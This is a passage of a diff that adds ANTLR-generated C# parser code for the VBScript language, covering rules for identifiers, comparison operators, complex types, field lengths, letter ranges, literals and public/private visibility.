) { + { + State = 3030; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case ACCESS: + case ADDRESSOF: + case ALIAS: + case AND: + case ATTRIBUTE: + case APPACTIVATE: + case APPEND: + case AS: + case BEEP: + case BEGIN: + case BINARY: + case BOOLEAN: + case BYVAL: + case BYREF: + case BYTE: + case CALL: + case CASE: + case CHDIR: + case CHDRIVE: + case CLASS: + case CLOSE: + case COLLECTION: + case CONST: + case DATE: + case DECLARE: + case DEFBOOL: + case DEFBYTE: + case DEFDATE: + case DEFDBL: + case DEFDEC: + case DEFCUR: + case DEFINT: + case DEFLNG: + case DEFOBJ: + case DEFSNG: + case DEFSTR: + case DEFVAR: + case DELETESETTING: + case DIM: + case DO: + case DOUBLE: + case EACH: + case ELSEIF: + case END: + case ENUM: + case EQV: + case ERASE: + case ERROR: + case EVENT: + case FALSE: + case FILECOPY: + case FRIEND: + case FOR: + case FUNCTION: + case GET: + case GLOBAL: + case GOSUB: + case GOTO: + case IF: + case IMP: + case IMPLEMENTS: + case IN: + case INPUT: + case IS: + case INTEGER: + case KILL: + case LOAD: + case LOCK: + case LONG: + case LOOP: + case LEN: + case LET: + case LIB: + case LIKE: + case LSET: + case ME: + case MID: + case MKDIR: + case MOD: + case NAME: + case NEXT: + case NEW: + case NOT: + case NOTHING: + case NULL: + case OBJECT: + case ON: + case OPEN: + case OPTIONAL: + case OR: + case OUTPUT: + case PARAMARRAY: + case PRESERVE: + case PRINT: + case PRIVATE: + case PUBLIC: + case PUT: + case RANDOM: + case RANDOMIZE: + case RAISEEVENT: + case READ: + case REDIM: + case REM: + case RESET: + case RESUME: + case RETURN: + case RMDIR: + case RSET: + case SAVEPICTURE: + case SAVESETTING: + case SEEK: + case SELECT: + case SENDKEYS: + case SET: + case SETATTR: + case SHARED: + case SINGLE: + case SPC: + case STATIC: + case STEP: + case STOP: + case STRING: + case SUB: + case TAB: + case TEXT: + case THEN: + case TIME: + case TO: + case TRUE: + case TYPE: + case TYPEOF: + case UNLOAD: + case UNLOCK: + case UNTIL: + case VARIANT: + case VERSION: + case WEND: + case WHILE: + case WIDTH: + case WITH: + case WITHEVENTS: + case WRITE: + case XOR: + { + State = 3028; + ambiguousKeyword(); + } + break; + case IDENTIFIER: + { + State = 3029; + Match(IDENTIFIER); + } + break; + default: + throw new NoViableAltException(this); + } + } + } + State = 3034; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,526,Context); + } + } + break; + case ACCESS: + case ADDRESSOF: + case ALIAS: + case AND: + case ATTRIBUTE: + case APPACTIVATE: + case APPEND: + case AS: + case BEEP: + case BEGIN: + case BINARY: + case BOOLEAN: + case BYVAL: + case BYREF: + case BYTE: + case CALL: + case CASE: + case CHDIR: + case CHDRIVE: + case CLASS: + case CLOSE: + case COLLECTION: + case CONST: + case DATE: + case DECLARE: + case DEFBOOL: + case DEFBYTE: + case DEFDATE: + case DEFDBL: + case DEFDEC: + case DEFCUR: + case DEFINT: + case DEFLNG: + case DEFOBJ: + case DEFSNG: + case DEFSTR: + case DEFVAR: + case DELETESETTING: + case DIM: + case DO: + case DOUBLE: + case EACH: + case ELSEIF: + case END: + case ENUM: + case EQV: + case ERASE: + case ERROR: + case EVENT: + case FALSE: + case FILECOPY: + case FRIEND: + case FOR: + case FUNCTION: + case GET: + case GLOBAL: + case GOSUB: + case GOTO: + case IF: + case IMP: + case IMPLEMENTS: + case IN: + case INPUT: + case IS: + case INTEGER: + case KILL: + case LOAD: + case LOCK: + case LONG: + case LOOP: + case LEN: + case LET: + case LIB: + case LIKE: + case LSET: + case ME: + case MID: + case MKDIR: + case MOD: + case NAME: + case NEXT: + case NEW: + case NOT: + case NOTHING: + case NULL: + case OBJECT: + case ON: + case OPEN: + case OPTIONAL: + case OR: + case OUTPUT: + case PARAMARRAY: + case PRESERVE: + case PRINT: + case PRIVATE: + case PUBLIC: + case PUT: + case RANDOM: + case RANDOMIZE: + case RAISEEVENT: + case READ: + case REDIM: + case REM: + case RESET: + case RESUME: + case RETURN: + case RMDIR: + case RSET: + case SAVEPICTURE: + case SAVESETTING: + case SEEK: + case SELECT: + case SENDKEYS: + case SET: + case SETATTR: + case SHARED: + case SINGLE: + case SPC: + case STATIC: + case STEP: + case STOP: + case STRING: + case SUB: + case TAB: + case TEXT: + case THEN: + case TIME: + case TO: + case TRUE: + case TYPE: + case TYPEOF: + case UNLOAD: + case UNLOCK: + case UNTIL: + case VARIANT: + case VERSION: + case WEND: + case WHILE: + case WIDTH: + case WITH: + case WITHEVENTS: + case WRITE: + case XOR: + EnterOuterAlt(_localctx, 2); + { + State = 3035; + ambiguousKeyword(); + State = 3038; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + State = 3038; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case ACCESS: + case ADDRESSOF: + case ALIAS: + case AND: + case ATTRIBUTE: + case APPACTIVATE: + case APPEND: + case AS: + case BEEP: + case BEGIN: + case BINARY: + case BOOLEAN: + case BYVAL: + case BYREF: + case BYTE: + case CALL: + case CASE: + case CHDIR: + case CHDRIVE: + case CLASS: + case CLOSE: + case COLLECTION: + case CONST: + case DATE: + case DECLARE: + case DEFBOOL: + case DEFBYTE: + case DEFDATE: + case DEFDBL: + case DEFDEC: + case DEFCUR: + case DEFINT: + case DEFLNG: + case DEFOBJ: + case DEFSNG: + case DEFSTR: + case DEFVAR: + case DELETESETTING: + case DIM: + case DO: + case DOUBLE: + case EACH: + case ELSEIF: + case END: + case ENUM: + case EQV: + case ERASE: + case ERROR: + case EVENT: + case FALSE: + case FILECOPY: + case FRIEND: + case FOR: + case FUNCTION: + case GET: + case GLOBAL: + case GOSUB: + case GOTO: + case IF: + case IMP: + case IMPLEMENTS: + case IN: + case INPUT: + case IS: + case INTEGER: + case KILL: + case LOAD: + case LOCK: + case LONG: + case LOOP: + case LEN: + case LET: + case LIB: + case LIKE: + case LSET: + case ME: + case MID: + case MKDIR: + case MOD: + case NAME: + case NEXT: + case NEW: + case NOT: + case NOTHING: + case NULL: + case OBJECT: + case ON: + case OPEN: + case OPTIONAL: + case OR: + case OUTPUT: + case PARAMARRAY: + case PRESERVE: + case PRINT: + case PRIVATE: + case PUBLIC: + case PUT: + case RANDOM: + case RANDOMIZE: + case RAISEEVENT: + case READ: + case REDIM: + case REM: + case RESET: + case RESUME: + case RETURN: + case RMDIR: + case RSET: + case SAVEPICTURE: + case SAVESETTING: + case SEEK: + case SELECT: + case SENDKEYS: + case SET: + case SETATTR: + case SHARED: + case SINGLE: + case SPC: + case STATIC: + case STEP: + case STOP: + case STRING: + case SUB: + case TAB: + case TEXT: + case THEN: + case TIME: + case TO: + case TRUE: + case TYPE: + case TYPEOF: + case UNLOAD: + case UNLOCK: + case UNTIL: + case VARIANT: + case VERSION: + case WEND: + case WHILE: + case WIDTH: + case WITH: + case WITHEVENTS: + case WRITE: + case XOR: + { + State = 3036; + ambiguousKeyword(); + } + break; + case IDENTIFIER: + { + State = 3037; + Match(IDENTIFIER); + } + break; + default: + throw new NoViableAltException(this); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 3040; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,528,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + break; + default: + throw new NoViableAltException(this); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ComparisonOperatorContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LT() { return GetToken(VBScriptParser.LT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LEQ() { return GetToken(VBScriptParser.LEQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GT() { return GetToken(VBScriptParser.GT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GEQ() { return GetToken(VBScriptParser.GEQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEQ() { return GetToken(VBScriptParser.NEQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IS() { return GetToken(VBScriptParser.IS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LIKE() { return GetToken(VBScriptParser.LIKE, 0); } + public ComparisonOperatorContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_comparisonOperator; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterComparisonOperator(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitComparisonOperator(this); + } + } + + [RuleVersion(0)] + public ComparisonOperatorContext comparisonOperator() { + ComparisonOperatorContext _localctx = new ComparisonOperatorContext(Context, State); + EnterRule(_localctx, 302, RULE_comparisonOperator); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 3044; + _la = TokenStream.LA(1); + if ( !(_la==IS || _la==LIKE || ((((_la - 188)) & ~0x3f) == 0 && ((1L << (_la - 188)) & 4397L) != 0)) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ComplexTypeContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext[] ambiguousIdentifier() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] DOT() { return GetTokens(VBScriptParser.DOT); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DOT(int i) { + return GetToken(VBScriptParser.DOT, i); + } + public ComplexTypeContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_complexType; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterComplexType(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitComplexType(this); + } + } + + [RuleVersion(0)] + public ComplexTypeContext complexType() { + ComplexTypeContext _localctx = new ComplexTypeContext(Context, State); + EnterRule(_localctx, 304, RULE_complexType); + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 3046; + ambiguousIdentifier(); + State = 3051; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,530,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 3047; + Match(DOT); + State = 3048; + ambiguousIdentifier(); + } + } + } + State = 3053; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,530,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class FieldLengthContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MULT() { return GetToken(VBScriptParser.MULT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INTEGERLITERAL() { return GetToken(VBScriptParser.INTEGERLITERAL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + public FieldLengthContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_fieldLength; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterFieldLength(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitFieldLength(this); + } + } + + [RuleVersion(0)] + public FieldLengthContext fieldLength() { + FieldLengthContext _localctx = new FieldLengthContext(Context, State); + EnterRule(_localctx, 306, RULE_fieldLength); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 3054; + Match(MULT); + State = 3056; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 3055; + Match(WS); + } + } + + State = 3060; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case INTEGERLITERAL: + { + State = 3058; + Match(INTEGERLITERAL); + } + break; + case ACCESS: + case ADDRESSOF: + case ALIAS: + case AND: + case ATTRIBUTE: + case APPACTIVATE: + case APPEND: + case AS: + case BEEP: + case BEGIN: + case BINARY: + case BOOLEAN: + case BYVAL: + case BYREF: + case BYTE: + case CALL: + case CASE: + case CHDIR: + case CHDRIVE: + case CLASS: + case CLOSE: + case COLLECTION: + case CONST: + case DATE: + case DECLARE: + case DEFBOOL: + case DEFBYTE: + case DEFDATE: + case DEFDBL: + case DEFDEC: + case DEFCUR: + case DEFINT: + case DEFLNG: + case DEFOBJ: + case DEFSNG: + case DEFSTR: + case DEFVAR: + case DELETESETTING: + case DIM: + case DO: + case DOUBLE: + case EACH: + case ELSEIF: + case END: + case ENUM: + case EQV: + case ERASE: + case ERROR: + case EVENT: + case FALSE: + case FILECOPY: + case FRIEND: + case FOR: + case FUNCTION: + case GET: + case GLOBAL: + case GOSUB: + case GOTO: + case IF: + case IMP: + case IMPLEMENTS: + case IN: + case INPUT: + case IS: + case INTEGER: + case KILL: + case LOAD: + case LOCK: + case LONG: + case LOOP: + case LEN: + case LET: + case LIB: + case LIKE: + case LSET: + case ME: + case MID: + case MKDIR: + case MOD: + case NAME: + case NEXT: + case NEW: + case NOT: + case NOTHING: + case NULL: + case OBJECT: + case ON: + case OPEN: + case OPTIONAL: + case OR: + case OUTPUT: + case PARAMARRAY: + case PRESERVE: + case PRINT: + case PRIVATE: + case PUBLIC: + case PUT: + case RANDOM: + case RANDOMIZE: + case RAISEEVENT: + case READ: + case REDIM: + case REM: + case RESET: + case RESUME: + case RETURN: + case RMDIR: + case RSET: + case SAVEPICTURE: + case SAVESETTING: + case SEEK: + case SELECT: + case SENDKEYS: + case SET: + case SETATTR: + case SHARED: + case SINGLE: + case SPC: + case STATIC: + case STEP: + case STOP: + case STRING: + case SUB: + case TAB: + case TEXT: + case THEN: + case TIME: + case TO: + case TRUE: + case TYPE: + case TYPEOF: + case UNLOAD: + case UNLOCK: + case UNTIL: + case VARIANT: + case VERSION: + case WEND: + case WHILE: + case WIDTH: + case WITH: + case WITHEVENTS: + case WRITE: + case XOR: + case L_SQUARE_BRACKET: + case IDENTIFIER: + { + State = 3059; + ambiguousIdentifier(); + } + break; + default: + throw new NoViableAltException(this); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class LetterrangeContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public CertainIdentifierContext[] certainIdentifier() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public CertainIdentifierContext certainIdentifier(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MINUS() { return GetToken(VBScriptParser.MINUS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public LetterrangeContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_letterrange; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLetterrange(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLetterrange(this); + } + } + + [RuleVersion(0)] + public LetterrangeContext letterrange() { + LetterrangeContext _localctx = new LetterrangeContext(Context, State); + EnterRule(_localctx, 308, RULE_letterrange); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 3062; + certainIdentifier(); + State = 3071; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,535,Context) ) { + case 1: + { + State = 3064; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 3063; + Match(WS); + } + } + + State = 3066; + Match(MINUS); + State = 3068; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 3067; + Match(WS); + } + } + + State = 3070; + certainIdentifier(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class DelimitedLiteralContext : ParserRuleContext { + public DelimitedLiteralContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_delimitedLiteral; } } + + public DelimitedLiteralContext() { } + public virtual void CopyFrom(DelimitedLiteralContext context) { + base.CopyFrom(context); + } + } + public partial class LtStringContext : DelimitedLiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STRINGLITERAL() { return GetToken(VBScriptParser.STRINGLITERAL, 0); } + public LtStringContext(DelimitedLiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLtString(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLtString(this); + } + } + public partial class LtOctalContext : DelimitedLiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OCTALLITERAL() { return GetToken(VBScriptParser.OCTALLITERAL, 0); } + public LtOctalContext(DelimitedLiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLtOctal(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLtOctal(this); + } + } + public partial class LtDateContext : DelimitedLiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DATELITERAL() { return GetToken(VBScriptParser.DATELITERAL, 0); } + public LtDateContext(DelimitedLiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLtDate(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLtDate(this); + } + } + public partial class LtColorContext : DelimitedLiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode HEXLITERAL() { return GetToken(VBScriptParser.HEXLITERAL, 0); } + public LtColorContext(DelimitedLiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLtColor(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLtColor(this); + } + } + + [RuleVersion(0)] + public DelimitedLiteralContext delimitedLiteral() { + DelimitedLiteralContext _localctx = new DelimitedLiteralContext(Context, State); + EnterRule(_localctx, 310, RULE_delimitedLiteral); + try { + State = 3077; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case HEXLITERAL: + _localctx = new LtColorContext(_localctx); + EnterOuterAlt(_localctx, 1); + { + State = 3073; + Match(HEXLITERAL); + } + break; + case OCTALLITERAL: + _localctx = new LtOctalContext(_localctx); + EnterOuterAlt(_localctx, 2); + { + State = 3074; + Match(OCTALLITERAL); + } + break; + case DATELITERAL: + _localctx = new LtDateContext(_localctx); + EnterOuterAlt(_localctx, 3); + { + State = 3075; + Match(DATELITERAL); + } + break; + case STRINGLITERAL: + _localctx = new LtStringContext(_localctx); + EnterOuterAlt(_localctx, 4); + { + State = 3076; + Match(STRINGLITERAL); + } + break; + default: + throw new NoViableAltException(this); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class LiteralContext : ParserRuleContext { + public LiteralContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_literal; } } + + public LiteralContext() { } + public virtual void CopyFrom(LiteralContext context) { + base.CopyFrom(context); + } + } + public partial class LtIntegerContext : LiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INTEGERLITERAL() { return GetToken(VBScriptParser.INTEGERLITERAL, 0); } + public LtIntegerContext(LiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLtInteger(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLtInteger(this); + } + } + public partial class LtDoubleContext : LiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DOUBLELITERAL() { return GetToken(VBScriptParser.DOUBLELITERAL, 0); } + public LtDoubleContext(LiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLtDouble(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLtDouble(this); + } + } + public partial class LtDelimitedContext : LiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public DelimitedLiteralContext delimitedLiteral() { + return GetRuleContext(0); + } + public LtDelimitedContext(LiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLtDelimited(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLtDelimited(this); + } + } + public partial class LtFilenumberContext : LiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FILENUMBER() { return GetToken(VBScriptParser.FILENUMBER, 0); } + public LtFilenumberContext(LiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLtFilenumber(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLtFilenumber(this); + } + } + public partial class LtBooleanContext : LiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TRUE() { return GetToken(VBScriptParser.TRUE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FALSE() { return GetToken(VBScriptParser.FALSE, 0); } + public LtBooleanContext(LiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLtBoolean(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLtBoolean(this); + } + } + public partial class LtNullContext : LiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NULL() { return GetToken(VBScriptParser.NULL, 0); } + public LtNullContext(LiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLtNull(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLtNull(this); + } + } + public partial class LtNothingContext : LiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NOTHING() { return GetToken(VBScriptParser.NOTHING, 0); } + public LtNothingContext(LiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLtNothing(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLtNothing(this); + } + } + + [RuleVersion(0)] + public LiteralContext literal() { + LiteralContext _localctx = new LiteralContext(Context, State); + EnterRule(_localctx, 312, RULE_literal); + try { + State = 3087; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case DOUBLELITERAL: + _localctx = new LtDoubleContext(_localctx); + EnterOuterAlt(_localctx, 1); + { + State = 3079; + Match(DOUBLELITERAL); + } + break; + case STRINGLITERAL: + case DATELITERAL: + case HEXLITERAL: + case OCTALLITERAL: + _localctx = new LtDelimitedContext(_localctx); + EnterOuterAlt(_localctx, 2); + { + State = 3080; + delimitedLiteral(); + } + break; + case FILENUMBER: + _localctx = new LtFilenumberContext(_localctx); + EnterOuterAlt(_localctx, 3); + { + State = 3081; + Match(FILENUMBER); + } + break; + case INTEGERLITERAL: + _localctx = new LtIntegerContext(_localctx); + EnterOuterAlt(_localctx, 4); + { + State = 3082; + Match(INTEGERLITERAL); + } + break; + case TRUE: + _localctx = new LtBooleanContext(_localctx); + EnterOuterAlt(_localctx, 5); + { + State = 3083; + Match(TRUE); + } + break; + case FALSE: + _localctx = new LtBooleanContext(_localctx); + EnterOuterAlt(_localctx, 6); + { + State = 3084; + Match(FALSE); + } + break; + case NOTHING: + _localctx = new LtNothingContext(_localctx); + EnterOuterAlt(_localctx, 7); + { + State = 3085; + Match(NOTHING); + } + break; + case NULL: + _localctx = new LtNullContext(_localctx); + EnterOuterAlt(_localctx, 8); + { + State = 3086; + Match(NULL); + } + break; + default: + throw new NoViableAltException(this); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class PublicPrivateVisibilityContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PRIVATE() { return GetToken(VBScriptParser.PRIVATE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PUBLIC() { return GetToken(VBScriptParser.PUBLIC, 0); } + public PublicPrivateVisibilityContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_publicPrivateVisibility; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterPublicPrivateVisibility(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitPublicPrivateVisibility(this); + } + } + + [RuleVersion(0)] + public PublicPrivateVisibilityContext publicPrivateVisibility() { + PublicPrivateVisibilityContext _localctx = new PublicPrivateVisibilityContext(Context, State); + EnterRule(_localctx, 314, RULE_publicPrivateVisibility); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 3089; + _la = TokenStream.LA(1); + if ( !(_la==PRIVATE || _la==PUBLIC) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + catch 